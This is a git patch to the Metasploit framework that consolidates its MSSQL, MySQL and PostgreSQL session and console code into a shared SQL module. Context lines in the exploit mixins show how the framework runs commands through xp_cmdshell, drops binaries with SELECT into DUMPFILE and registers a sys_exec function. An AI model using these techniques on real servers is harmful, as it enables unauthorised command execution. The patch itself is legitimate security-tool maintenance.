From daf64a868b9e065e76fa310a542852c140d04f21 Mon Sep 17 00:00:00 2001 From: sjanusz-r7 Date: Tue, 6 Feb 2024 11:43:44 +0000 Subject: [PATCH] SQL sessions consolidation --- lib/msf/base/sessions/mssql.rb | 92 +---------- lib/msf/base/sessions/mysql.rb | 81 +-------- lib/msf/base/sessions/postgresql.rb | 91 +--------- lib/msf/base/sessions/sql.rb | 117 +++++++++++++ lib/msf/core/exploit/remote/mssql.rb | 4 +- lib/msf/core/exploit/remote/mssql_sqli.rb | 4 +- lib/msf/core/exploit/remote/mysql.rb | 18 +- lib/msf/core/optional_session.rb | 2 +- lib/rex/post/mssql/ui/console.rb | 74 ++------- .../mssql/ui/console/command_dispatcher.rb | 79 +-------- .../ui/console/command_dispatcher/client.rb | 125 +------------- .../ui/console/command_dispatcher/core.rb | 45 +---- .../ui/console/command_dispatcher/modules.rb | 78 +-------- lib/rex/post/mysql/ui/console.rb | 68 +------- .../mysql/ui/console/command_dispatcher.rb | 73 +------- .../ui/console/command_dispatcher/client.rb | 141 +--------------- .../ui/console/command_dispatcher/core.rb | 37 +---- .../ui/console/command_dispatcher/modules.rb | 86 +--------- lib/rex/post/postgresql.rb | 1 + lib/rex/post/postgresql/ui/console.rb | 83 +--------- .../ui/console/command_dispatcher.rb | 72 +------- .../ui/console/command_dispatcher/client.rb | 113 +------------ .../ui/console/command_dispatcher/core.rb | 33 +--- .../ui/console/command_dispatcher/modules.rb | 82 +-------- lib/rex/post/sql.rb | 3 + lib/rex/post/sql/ui.rb | 3 + lib/rex/post/sql/ui/console.rb | 82 +++++++++ .../post/sql/ui/console/command_dispatcher.rb | 96 +++++++++++ .../ui/console/command_dispatcher/client.rb | 156 ++++++++++++++++++ .../sql/ui/console/command_dispatcher/core.rb | 42 +++++ .../ui/console/command_dispatcher/modules.rb | 97 +++++++++++ .../ui/console/interactive_sql_client.rb | 8 +- lib/rex/proto/mssql/client.rb | 8 +- lib/rex/proto/mssql/client_mixin.rb | 4 +- modules/auxiliary/admin/mssql/mssql_enum.rb | 60 +++---- .../admin/mssql/mssql_enum_domain_accounts.rb | 8 +- .../mssql/mssql_enum_domain_accounts_sqli.rb | 8 +- .../admin/mssql/mssql_enum_sql_logins.rb | 6 +- .../admin/mssql/mssql_escalate_dbowner.rb | 12 +- .../mssql/mssql_escalate_dbowner_sqli.rb | 14 +- .../admin/mssql/mssql_escalate_execute_as.rb | 8 +- .../mssql/mssql_escalate_execute_as_sqli.rb | 10 +- modules/auxiliary/admin/mssql/mssql_exec.rb | 6 +- .../admin/mssql/mssql_findandsampledata.rb | 2 +- modules/auxiliary/admin/mssql/mssql_idf.rb | 4 +- .../admin/mssql/mssql_ntlm_stealer.rb | 2 +- .../admin/mssql/mssql_ntlm_stealer_sqli.rb | 2 +- modules/auxiliary/admin/mssql/mssql_sql.rb | 2 +- .../auxiliary/admin/mssql/mssql_sql_file.rb | 2 +- modules/auxiliary/admin/mysql/mysql_enum.rb | 30 ++-- modules/auxiliary/admin/mysql/mysql_sql.rb | 2 +- .../auxiliary/gather/lansweeper_collector.rb | 2 +- .../auxiliary/scanner/mssql/mssql_hashdump.rb | 12 +- .../auxiliary/scanner/mssql/mssql_login.rb | 2 +- .../scanner/mssql/mssql_schemadump.rb | 10 +- .../mysql/mysql_authbypass_hashdump.rb | 2 +- .../scanner/mysql/mysql_file_enum.rb | 6 +- .../auxiliary/scanner/mysql/mysql_hashdump.rb | 4 +- .../scanner/mysql/mysql_schemadump.rb | 6 +- .../mssql/ms09_004_sp_replwritetovarbin.rb | 10 +- .../ms09_004_sp_replwritetovarbin_sqli.rb | 12 +- .../windows/mssql/mssql_clr_payload.rb | 20 +-- .../windows/mssql/mssql_linkcrawler.rb | 30 ++-- .../exploits/windows/mssql/mssql_payload.rb | 2 +- modules/exploits/windows/mysql/mysql_mof.rb | 2 +- .../exploits/windows/mysql/mysql_start_up.rb | 2 +- .../windows/mysql/scrutinizer_upload_exec.rb | 2 +- spec/lib/msf/base/sessions/mssql_spec.rb | 16 +- .../console/command_dispatcher/core_spec.rb | 12 +- 69 files changed, 868 insertions(+), 1560 deletions(-) create mode 100644 lib/msf/base/sessions/sql.rb create mode 100644 lib/rex/post/sql.rb create mode 100644 lib/rex/post/sql/ui.rb create mode 100644 lib/rex/post/sql/ui/console.rb create mode 100644 lib/rex/post/sql/ui/console/command_dispatcher.rb create mode 100644 lib/rex/post/sql/ui/console/command_dispatcher/client.rb create mode 100644 lib/rex/post/sql/ui/console/command_dispatcher/core.rb create mode 100644 lib/rex/post/sql/ui/console/command_dispatcher/modules.rb rename lib/rex/post/{postgresql => sql}/ui/console/interactive_sql_client.rb (89%) diff --git a/lib/msf/base/sessions/mssql.rb b/lib/msf/base/sessions/mssql.rb index 62ea6e38a4750..542753f3599b3 100644 --- a/lib/msf/base/sessions/mssql.rb +++ b/lib/msf/base/sessions/mssql.rb @@ -4,14 +4,8 @@ class Msf::Sessions::MSSQL - include Msf::Session::Basic - include Msf::Sessions::Scriptable + include Msf::Sessions::Sql - # @return [Rex::Post::MSSQL::Ui::Console] The interactive console - attr_accessor :console - # @return [MSSQL::Client] The MSSQL client - attr_accessor :client - attr_accessor :platform, :arch # @return [String] The address MSSQL is running on attr_accessor :address # @return [Integer] The port MSSQL is running on @@ -20,7 +14,7 @@ class Msf::Sessions::MSSQL def initialize(rstream, opts = {}) @client = opts.fetch(:client) - self.console = Rex::Post::MSSQL::Ui::Console.new(self, opts) + self.console = ::Rex::Post::MSSQL::Ui::Console.new(self, opts) super(rstream, opts) end @@ -32,28 +26,6 @@ def bootstrap(datastore = {}, handler = nil) @info = "MSSQL #{datastore['USERNAME']} @ #{@peer_info}" end - def execute_file(full_path, args) - if File.extname(full_path) == '.rb' - Rex::Script::Shell.new(self, full_path).run(args) - else - console.load_resource(full_path) - end - end - - def process_autoruns(datastore) - ['InitialAutoRunScript', 'AutoRunScript'].each do |key| - next if datastore[key].nil? || datastore[key].empty? - - args = Shellwords.shellwords(datastore[key]) - print_status("Session ID #{self.sid} (#{self.tunnel_to_s}) processing #{key} '#{datastore[key]}'") - self.execute_script(args.shift, *args) - end - end - - def type - self.class.type - end - # Returns the type of session. # def self.type @@ -84,64 +56,4 @@ def port @address, @port = client.sock.peerinfo.split(':') @port end - - ## - # :category: Msf::Session::Interactive implementors - # - # Initializes the console's I/O handles. - # - def init_ui(input, output) - self.user_input = input - self.user_output = output - console.init_ui(input, output) - console.set_log_source(log_source) - - super - end - - ## - # :category: Msf::Session::Interactive implementors - # - # Resets the console's I/O handles. - # - def reset_ui - console.unset_log_source - console.reset_ui - end - - def exit - console.stop - end - - ## - # :category: Msf::Session::Interactive implementors - # - # Override the basic session interaction to use shell_read and - # shell_write instead of operating on rstream directly. - def _interact - framework.events.on_session_interact(self) - framework.history_manager.with_context(name: type.to_sym) do - _interact_stream - end - end - - ## - # :category: Msf::Session::Interactive implementors - # - def _interact_stream - framework.events.on_session_interact(self) - - console.framework = framework - # Call the console interaction of the MSSQL client and - # pass it a block that returns whether or not we should still be - # interacting. This will allow the shell to abort if interaction is - # canceled. - console.interact { interacting != true } - console.framework = nil - - # If the stop flag has been set, then that means the user exited. Raise - # the EOFError so we can drop this handle like a bad habit. - raise EOFError if (console.stopped? == true) - end - end diff --git a/lib/msf/base/sessions/mysql.rb b/lib/msf/base/sessions/mysql.rb index de042137d73a9..6c977f974b551 100644 --- a/lib/msf/base/sessions/mysql.rb +++ b/lib/msf/base/sessions/mysql.rb @@ -4,15 +4,7 @@ class Msf::Sessions::MySQL - # This interface supports basic interaction. - include Msf::Session::Basic - include Msf::Sessions::Scriptable - - # @return [Rex::Post::MySQL::Ui::Console] The interactive console - attr_accessor :console - # @return [MySQL::Client] - attr_accessor :client - attr_accessor :platform, :arch + include Msf::Sessions::Sql # @param[Rex::IO::Stream] rstream # @param [Hash] opts @@ -32,21 +24,6 @@ def bootstrap(datastore = {}, handler = nil) @info = "MySQL #{datastore['USERNAME']} @ #{client.socket.peerinfo}" end - def process_autoruns(datastore) - ['InitialAutoRunScript', 'AutoRunScript'].each do |key| - next if datastore[key].nil? || datastore[key].empty? - - args = Shellwords.shellwords(datastore[key]) - print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") - execute_script(args.shift, *args) - end - end - - # @return [String] - def type - self.class.type - end - # @return [String] The type of the session def self.type 'MySQL' @@ -77,60 +54,4 @@ def port @address, @port = @client.socket.peerinfo.split(':') @port end - - # Initializes the console's I/O handles. - # - # @param [Object] input - # @param [Object] output - # @return [String] - def init_ui(input, output) - super(input, output) - - console.init_ui(input, output) - console.set_log_source(log_source) - end - - # Resets the console's I/O handles. - # - # @return [Object] - def reset_ui - console.unset_log_source - console.reset_ui - end - - - # Exit the console - # - # @return [TrueClass] - def exit - console.stop - end - - protected - - # Override the basic session interaction to use shell_read and - # shell_write instead of operating on rstream directly. - # - # @return [Object] - def _interact - framework.events.on_session_interact(self) - framework.history_manager.with_context(name: type.to_sym) { _interact_stream } - end - - # @return [Object] - def _interact_stream - framework.events.on_session_interact(self) - - console.framework = framework - # Call the console interaction of the mysql client and - # pass it a block that returns whether or not we should still be - # interacting. This will allow the shell to abort if interaction is - # canceled. - console.interact { interacting != true } - console.framework = nil - - # If the stop flag has been set, then that means the user exited. Raise - # the EOFError so we can drop this handle like a bad habit. - raise ::EOFError if (console.stopped? == true) - end end diff --git a/lib/msf/base/sessions/postgresql.rb b/lib/msf/base/sessions/postgresql.rb index 6c386d0f4cf90..d72bffdead6fa 100644 --- a/lib/msf/base/sessions/postgresql.rb +++ b/lib/msf/base/sessions/postgresql.rb @@ -3,17 +3,8 @@ require 'rex/post/postgresql' class Msf::Sessions::PostgreSQL - # - # This interface supports basic interaction. - # - include Msf::Session::Basic - include Msf::Sessions::Scriptable - # @return [Rex::Post::PostgreSQL::Ui::Console] The interactive console - attr_accessor :console - # @return [PostgreSQL::Client] - attr_accessor :client - attr_accessor :platform, :arch + include Msf::Sessions::Sql # @param[Rex::IO::Stream] rstream # @param [Hash] opts @@ -31,28 +22,6 @@ def bootstrap(datastore = {}, handler = nil) @info = "PostgreSQL #{datastore['USERNAME']} @ #{@peer_info}" end - def execute_file(full_path, args) - if File.extname(full_path) == '.rb' - Rex::Script::Shell.new(self, full_path).run(args) - else - console.load_resource(full_path) - end - end - - def process_autoruns(datastore) - ['InitialAutoRunScript', 'AutoRunScript'].each do |key| - next if datastore[key].nil? || datastore[key].empty? - - args = Shellwords.shellwords(datastore[key]) - print_status("Session ID #{self.sid} (#{self.tunnel_to_s}) processing #{key} '#{datastore[key]}'") - self.execute_script(args.shift, *args) - end - end - - def type - self.class.type - end - # # @return [String] The type of the session # @@ -86,62 +55,4 @@ def port @address, @port = @client.conn.peerinfo.split(':') @port end - - ## - # :category: Msf::Session::Interactive implementors - # - # Initializes the console's I/O handles. - # - def init_ui(input, output) - super(input, output) - - console.init_ui(input, output) - console.set_log_source(self.log_source) - end - - ## - # :category: Msf::Session::Interactive implementors - # - # Resets the console's I/O handles. - # - def reset_ui - console.unset_log_source - console.reset_ui - end - - def exit - console.stop - end - - protected - - ## - # :category: Msf::Session::Interactive implementors - # - # Override the basic session interaction to use shell_read and - # shell_write instead of operating on rstream directly. - def _interact - framework.events.on_session_interact(self) - framework.history_manager.with_context(name: type.to_sym) { _interact_stream } - end - - ## - # :category: Msf::Session::Interactive implementors - # - def _interact_stream - framework.events.on_session_interact(self) - - console.framework = framework - - # Call the console interaction of the PostgreSQL client and - # pass it a block that returns whether or not we should still be - # interacting. This will allow the shell to abort if interaction is - # canceled. - console.interact { interacting != true } - console.framework = nil - - # If the stop flag has been set, then that means the user exited. Raise - # the EOFError so we can drop this handle like a bad habit. - raise ::EOFError if (console.stopped? == true) - end end diff --git a/lib/msf/base/sessions/sql.rb b/lib/msf/base/sessions/sql.rb new file mode 100644 index 0000000000000..be6cd5520e7db --- /dev/null +++ b/lib/msf/base/sessions/sql.rb @@ -0,0 +1,117 @@ +# -*- coding: binary -*- + +module Msf::Sessions::Sql + + # This interface supports basic interaction. + include Msf::Session::Basic + include Msf::Sessions::Scriptable + + # @return console The interactive console + attr_accessor :console + # @return client The underlying client object used to make SQL queries + attr_accessor :client + attr_accessor :platform, :arch + + def process_autoruns(datastore) + ['InitialAutoRunScript', 'AutoRunScript'].each do |key| + next if datastore[key].nil? || datastore[key].empty? + + args = ::Shellwords.shellwords(datastore[key]) + print_status("Session ID #{sid} (#{tunnel_to_s}) processing #{key} '#{datastore[key]}'") + execute_script(args.shift, *args) + end + end + + def execute_file(full_path, args) + if File.extname(full_path) == '.rb' + Rex::Script::Shell.new(self, full_path).run(args) + else + console.load_resource(full_path) + end + end + + # @return [String] + def type + self.class.type + end + + # @return [String] The type of the session + def self.type + raise ::NotImplementedError + end + + # @return [Boolean] Can the session clean up after itself + def self.can_cleanup_files + raise ::NotImplementedError + end + + # @return [String] The session description + def desc + raise ::NotImplementedError + end + + # @return [Object] The peer address + def address + raise ::NotImplementedError + end + + # @return [Object] The peer host + def port + raise ::NotImplementedError + end + + # Initializes the console's I/O handles. + # + # @param [Object] input + # @param [Object] output + # @return [String] + def init_ui(input, output) + super(input, output) + + console.init_ui(input, output) + console.set_log_source(log_source) + end + + # Resets the console's I/O handles. + # + # @return [Object] + def reset_ui + console.unset_log_source + console.reset_ui + end + + # Exit the console + # + # @return [TrueClass] + def exit + console.stop + end + + protected + + # Override the basic session interaction to use shell_read and + # shell_write instead of operating on rstream directly. + # + # @return [Object] + def _interact + framework.events.on_session_interact(self) + framework.history_manager.with_context(name: type.to_sym) { _interact_stream } + end + + # @return [Object] + def _interact_stream + framework.events.on_session_interact(self) + + console.framework = framework + # Call the console interaction of the mysql client and + # pass it a block that returns whether or not we should still be + # interacting. This will allow the shell to abort if interaction is + # canceled. + console.interact { interacting != true } + console.framework = nil + + # If the stop flag has been set, then that means the user exited. Raise + # the EOFError so we can drop this handle like a bad habit. + raise ::EOFError if (console.stopped? == true) + end +end diff --git a/lib/msf/core/exploit/remote/mssql.rb b/lib/msf/core/exploit/remote/mssql.rb index 790523651ac00..545791b84e97b 100644 --- a/lib/msf/core/exploit/remote/mssql.rb +++ b/lib/msf/core/exploit/remote/mssql.rb @@ -197,8 +197,8 @@ def mssql_login_datastore(db=nil) # # Issue a SQL query using the TDS protocol # - def mssql_query(sqla, doprint=false, opts={}) - @mssql_client.mssql_query(sqla, doprint, opts) + def query(sqla, doprint=false, opts={}) + @mssql_client.query(sqla, doprint, opts) end # diff --git a/lib/msf/core/exploit/remote/mssql_sqli.rb b/lib/msf/core/exploit/remote/mssql_sqli.rb index 723d45d52afdc..9dc326f71dc37 100644 --- a/lib/msf/core/exploit/remote/mssql_sqli.rb +++ b/lib/msf/core/exploit/remote/mssql_sqli.rb @@ -46,7 +46,7 @@ def initialize(info = {}) def mssql_xpcmdshell(cmd,doprint=false,opts={}) force_enable = false begin - res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", doprint) + res = query("EXEC master..xp_cmdshell '#{cmd}'", doprint) #mssql_print_reply(res) if doprint return res @@ -133,7 +133,7 @@ def powershell_upload_exec(exe, debug=false) # # Issue a SQL query using the SQL injection point # - def mssql_query(sqla, doprint=false) + def query(sqla, doprint=false) if (doprint) print_status(sqla) diff --git a/lib/msf/core/exploit/remote/mysql.rb b/lib/msf/core/exploit/remote/mysql.rb index a660cdb83a8f7..d383e1616a71e 100644 --- a/lib/msf/core/exploit/remote/mysql.rb +++ b/lib/msf/core/exploit/remote/mysql.rb @@ -84,7 +84,7 @@ def mysql_login_datastore return res end - def mysql_query(sql) + def query(sql) begin res = mysql_conn.query(sql) rescue ::Mysql::Error => e @@ -105,7 +105,7 @@ def mysql_get_plugin_dir base_res = nil plugin_res = mysql_get_variable("@@plugin_dir") rescue nil begin - res = mysql_query("show variables like 'basedir'") + res = query("show variables like 'basedir'") base_res = res.first[1] if res.respond_to? :first rescue nil @@ -133,7 +133,7 @@ def mysql_get_temp_dir end def mysql_get_variable(var) - res = mysql_query("SELECT #{var}") + res = query("SELECT #{var}") if res and res.respond_to? :first return res.first.first end @@ -147,7 +147,7 @@ def mysql_upload_binary(bindata) binpath = tmpdir << binname print_status "Uploading binary as #{binpath}..." print_status "SELECT #{blob} into DUMPFILE '#{binpath}'" - res = mysql_query("SELECT #{blob} into DUMPFILE '#{binpath}'") + res = query("SELECT #{blob} into DUMPFILE '#{binpath}'") return res end @@ -170,16 +170,16 @@ def mysql_upload_sys_udf(arch=:win32,target_path=nil) [:win32, :win64].include?(arch) ? extension = '.dll' : extension = '.so' target_dll = target_path << dll_name << extension print_status "Uploading #{fname} library to #{target_dll}..." - mysql_query("SELECT #{blob} into DUMPFILE '#{target_dll}'") + query("SELECT #{blob} into DUMPFILE '#{target_dll}'") return dll_name << extension end def mysql_drop_and_create_sys_exec(soname) # Just drop it. MySQL will always say "OK" anyway. # See #5244 - mysql_query("DROP FUNCTION IF EXISTS sys_exec") + query("DROP FUNCTION IF EXISTS sys_exec") - res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'") + res = query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'") return false if res.nil? return true @@ -233,12 +233,12 @@ def mysql_add_sys_exec def mysql_check_for_sys_exec print_status "Checking for sys_exec()..." - res = mysql_query("select * from mysql.func where name = 'sys_exec'") + res = query("select * from mysql.func where name = 'sys_exec'") res.size == 1 end def mysql_sys_exec(cmd,doprint=false,opts={}) - res = mysql_query("select sys_exec('#{cmd}')") + res = query("select sys_exec('#{cmd}')") if res && doprint print_status "Executing: #{cmd}" return res diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb index a489f538a1b59..511441be567b8 100644 --- a/lib/msf/core/optional_session.rb +++ b/lib/msf/core/optional_session.rb @@ -15,7 +15,7 @@ def initialize(info = {}) [ Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]), Msf::Opt::RHOST(nil, false), - Msf::Opt::RPORT(nil, false) + Msf::Opt::RPORT(445, false) ] ) add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr') diff --git a/lib/rex/post/mssql/ui/console.rb b/lib/rex/post/mssql/ui/console.rb index a040b1974a2ee..650714be2ceed 100644 --- a/lib/rex/post/mssql/ui/console.rb +++ b/lib/rex/post/mssql/ui/console.rb @@ -11,6 +11,8 @@ module Ui ### class Console include Rex::Ui::Text::DispatcherShell + require 'rex/post/sql/ui/console' + include Rex::Post::Sql::Ui::Console # Dispatchers require 'rex/post/mssql/ui/console/command_dispatcher' @@ -26,8 +28,11 @@ def initialize(session, opts={}) # The mssql client context self.session = session self.client = session.client - self.cwd = session.client.mssql_query('SELECT DB_NAME();')[:rows][0][0] - prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{cwd})%clr" + # EnvChange Type 1: Database + db_env_change = session.client.initial_connection_info[:envs].select { |hash| hash[:type] == 1 }[0] + db = db_env_change[:new] + self.database_name = db + prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{self.database_name})%clr" history_manager = Msf::Config.mssql_session_history super(prompt, '>', history_manager, nil, :mssql) @@ -47,65 +52,6 @@ def initialize(session, opts={}) end end - # - # Called when someone wants to interact with the mssql client. It's - # assumed that init_ui has been called prior. - # - # @param [Proc] block - # @return [Integer] - def interact(&block) - # Run queued commands - commands.delete_if do |ent| - run_single(ent) - true - end - - # Run the interactive loop - run do |line| - # Run the command - run_single(line) - - # If a block was supplied, call it, otherwise return false - if block - block.call - else - false - end - end - end - - # - # Queues a command to be run when the interactive loop is entered. - # - # @param [Object] cmd - # @return [Object] - def queue_cmd(cmd) - self.commands << cmd - end - - # - # Runs the specified command wrapper in something to catch meterpreter - # exceptions. - # - # @param [Object] dispatcher - # @param [Object] method - # @param [Object] arguments - # @return [FalseClass] - def run_command(dispatcher, method, arguments) - begin - super - rescue ::Timeout::Error - log_error('Operation timed out.') - rescue ::Rex::InvalidDestination => e - log_error(e.message) - rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError - self.session.kill - rescue ::StandardError => e - log_error("Error running command #{method}: #{e.class} #{e}") - elog(e) - end - end - # # Logs that an error occurred and persists the callstack. # @@ -126,13 +72,13 @@ def log_error(msg) attr_reader :client # @return [String] - attr_accessor :cwd + attr_accessor :database_name # @param [Object] val # @return [String] def format_prompt(val) - self.cwd ||= '' - prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{@cwd})%clr > " + self.database_name ||= '' + prompt = "%undMSSQL @ #{client.sock.peerinfo} (#{@database_name})%clr > " substitute_colors(prompt, true) end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher.rb b/lib/rex/post/mssql/ui/console/command_dispatcher.rb index 8b317d02b17d7..612c6491585b8 100644 --- a/lib/rex/post/mssql/ui/console/command_dispatcher.rb +++ b/lib/rex/post/mssql/ui/console/command_dispatcher.rb @@ -13,62 +13,8 @@ module Ui ### module Console::CommandDispatcher include Msf::Ui::Console::CommandDispatcher::Session - - # - # Initializes an instance of the core command set using the supplied session and client - # for interactivity. - # - # @param [Rex::Post::MSSQL::Ui::Console] console - def initialize(console) - super - @msf_loaded = nil - @filtered_commands = [] - end - - # - # Returns the MSSQL client context. - # - # @return [MSSQL::Client] - def client - console = shell - console.client - end - - # - # Returns the MSSQL session context. - # - # @return [Msf::Sessions::MSSQL] - def session - console = shell - console.session - end - - # - # Returns the commands that meet the requirements - # - # @param [Object] all - # @param [Object] reqs - # @return [Object] - def filter_commands(all, reqs) - all.delete_if do |cmd, _desc| - if reqs[cmd]&.any? { |req| !client.commands.include?(req) } - @filtered_commands << cmd - true - end - end - end - - # @param [Object] cmd - # @param [Object] line - # @return [Symbol, nil] - def unknown_command(cmd, line) - if @filtered_commands.include?(cmd) - print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})") - return :handled - end - - super - end + require 'rex/post/sql/ui/console/command_dispatcher' + include Rex::Post::Sql::Ui::Console::CommandDispatcher # # Return the subdir of the `documentation/` directory that should be used @@ -79,32 +25,13 @@ def docs_dir ::File.join(super, 'mssql_session') end - # - # Returns true if the client has a framework object. - # - # Used for firing framework session events - # - # @return [TrueClass, FalseClass] - def msf_loaded? - return @msf_loaded unless @msf_loaded.nil? - - # if we get here we must not have initialized yet - - @msf_loaded = !session.framework.nil? - @msf_loaded - end - # # Log that an error occurred. # # @param [Object] msg # @return [Object] def log_error(msg) - print_error(msg) - - elog(msg, 'mssql') - - dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'mssql') + super(msg, protocol: 'mssql') end end end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb index 9cba240fed4ce..cc91e86c26880 100644 --- a/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/client.rb @@ -1,8 +1,5 @@ # -*- coding: binary -*- -require 'pathname' -require 'reline' - module Rex module Post module MSSQL @@ -13,132 +10,18 @@ module Ui # ### class Console::CommandDispatcher::Client - include Rex::Post::MSSQL::Ui::Console::CommandDispatcher - - # - # Initializes an instance of the core command set using the supplied console - # for interactivity. - # - # @param [Rex::Post::MSSQL::Ui::Console] console - def initialize(console) - super - - @db_search_results = [] - end - - # - # List of supported commands. - # - # @return [Hash{String->String}] - def commands - cmds = { - 'query' => 'Run a raw SQL query', - 'shell' => 'Enter a raw shell where SQL queries can be executed', - } - - reqs = {} - - filter_commands(cmds, reqs) - end + require 'rex/post/sql/ui/console/command_dispatcher/client' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Client # @return [String] def name 'MSSQL Client' end - # @param [Object] args - # @return [FalseClass, TrueClass] - def help_args?(args) - return false unless args.instance_of?(::Array) - - args.include?('-h') || args.include?('--help') - end - - # @return [Object] - def cmd_shell_help - print_line 'Usage: shell' - print_line - print_line 'Go into a raw SQL shell where SQL queries can be executed.' - print_line 'To exit, type `exit`, `quit`, `end` or `stop`.' - print_line - end - - # @param [Array] args - # @return [Object] - def cmd_shell(*args) - cmd_shell_help && return if help_args?(args) - - prompt_proc_before = ::Reline.prompt_proc - - ::Reline.prompt_proc = proc { |line_buffer| line_buffer.each_with_index.map { |_line, i| i > 0 ? 'SQL *> ' : 'SQL >> ' } } - - stop_words = %w[stop s exit e end quit q].freeze - - finished = false - loop do - begin - raw_query = ::Reline.readmultiline('SQL >> ', use_history = true) do |multiline_input| - finished = stop_words.include?(multiline_input.split.last) - finished || (multiline_input.split.last && !multiline_input.split.last.end_with?('\\')) - end - rescue ::Interrupt - finished = true - ensure - ::Reline.prompt_proc = prompt_proc_before - end - - if finished - print_status 'Exiting Shell mode.' - return - end - - formatted_query = raw_query.split.map { |word| word.chomp('\\') }.reject(&:empty?).compact.join(' ') - - print_status "Running SQL Command: '#{formatted_query}'" - cmd_query(formatted_query) - end - end - - # @return [Object] def cmd_query_help - print_line 'Usage: query' - print_line - print_line 'Run a raw SQL query on the target.' - print_line 'Examples:' - print_line - print_line ' query select @@version;' - print_line ' query select user_name();' - print_line ' query select name from master.dbo.sysdatabases;' - print_line - end - - # @param [Array] result The result of an SQL query to format. - def format_result(result) - columns = ['#'] - - unless result.is_a?(Array) - result.fields.each { |field| columns.append(field.name) } - - ::Rex::Text::Table.new( - 'Header' => 'Query Result', - 'Indent' => 4, - 'Columns' => columns, - 'Rows' => result.map.each.with_index { |row, i| [i, row].flatten } - ) - end - end - - # @param [Array] args SQL query - # @return [Object] - def cmd_query(*args) - if help_args?(args) - cmd_query_help - return - end - - query = args.join(' ').to_s - client.mssql_query(query, true) || [] + examples = ['select @@version;', 'select user_name();', 'select name from master.dbo.sysdatabases;'] + super(examples: examples) end end end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb index bd6bc102e1a1b..ba917eeb37e2a 100644 --- a/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/core.rb @@ -1,7 +1,5 @@ # -*- coding: binary -*- -require 'rex/post/mssql' - module Rex module Post module MSSQL @@ -12,48 +10,9 @@ module Ui # ### class Console::CommandDispatcher::Core - include Rex::Post::MSSQL::Ui::Console::CommandDispatcher - - # - # Initializes an instance of the core command set using the supplied session and client - # for interactivity. - # - # @param [Rex::Post::MSSQL::Ui::Console] console - - # - # List of supported commands. - # - def commands - cmds = { - '?' => 'Help menu', - 'background' => 'Backgrounds the current session', - 'bg' => 'Alias for background', - 'exit' => 'Terminate the MSSQL session', - 'help' => 'Help menu', - 'irb' => 'Open an interactive Ruby shell on the current session', - 'pry' => 'Open the Pry debugger on the current session', - 'sessions' => 'Quickly switch to another session' - } - - reqs = {} - - filter_commands(cmds, reqs) - end - - # - # Core - # - def name - 'Core' - end - - def unknown_command(cmd, line) - status = super - - status - end - + require 'rex/post/sql/ui/console/command_dispatcher/core' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Core end end end diff --git a/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb b/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb index 259d0b47afbfa..4bdd35fe47658 100644 --- a/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb +++ b/lib/rex/post/mssql/ui/console/command_dispatcher/modules.rb @@ -1,7 +1,5 @@ # -*- coding: binary -*- -require 'pathname' - module Rex module Post module MSSQL @@ -12,81 +10,13 @@ module Ui # ### class Console::CommandDispatcher::Modules - include Rex::Post::MSSQL::Ui::Console::CommandDispatcher - - - # - # List of supported commands. - # - def commands - cmds = { - 'run' => 'Run a module' - } - - reqs = {} - - filter_commands(cmds, reqs) - end - - # - # Modules - # - def name - 'Modules' - end + require 'rex/post/sql/ui/console/command_dispatcher/modules' + include Rex::Post::Sql::Ui::Console::CommandDispatcher::Modules def cmd_run_help - print_line 'Usage: Modules' - print_line - print_line 'Run a module.' - print_line - end - - # - # Executes a module/script in the context of the mssql session. - # - def cmd_run(*args) - if args.empty? || args.first == '-h' || args.first == '--help' - cmd_run_help - return true - end - - # Get the script name - begin - script_name = args.shift - # First try it as a module if we have access to the Metasploit - # Framework instance. If we don't, or if no such module exists, - # fall back to using the scripting interface. - if msf_loaded? && (mod = session.framework.modules.create(script_name)) - original_mod = mod - reloaded_mod = session.framework.modules.reload_module(original_mod) - - unless reloaded_mod - error = session.framework.modules.module_load_error_by_path[original_mod.file_path] - print_error("Failed to reload module: #{error}") - - return - end - - opts = '' - - opts << (args + [ "SESSION=#{session.sid}" ]).join(',') - result = reloaded_mod.run_simple( - 'LocalInput' => shell.input, - 'LocalOutput' => shell.output, - 'OptionStr' => opts - ) - - print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session) - else - # the rest of the arguments get passed in through the binding - session.execute_script(script_name, args) - end - rescue StandardError => e - print_error("Error in script: #{script_name}") - elog("Error in script: #{script_name}", error: e) - end + examples = %w[auxiliary/scanner/mssql/mssql_schemadump auxiliary/scanner/mssql/mssql_hashdump auxiliary/admin/mssql/mssql_enum my_erb_script.rc] + super(examples: examples) end end end diff --git a/lib/rex/post/mysql/ui/console.rb b/lib/rex/post/mysql/ui/console.rb index c658456b32f53..83102acc1989e 100644 --- a/lib/rex/post/mysql/ui/console.rb +++ b/lib/rex/post/mysql/ui/console.rb @@ -8,6 +8,8 @@ module Ui # This class provides a shell driven interface to the MySQL client API. class Console include Rex::Ui::Text::DispatcherShell + require 'rex/post/sql/ui/console' + include Rex::Post::Sql::Ui::Console # Dispatchers require 'rex/post/mysql/ui/console/command_dispatcher' @@ -23,8 +25,8 @@ def initialize(session) # The mysql client context self.session = session 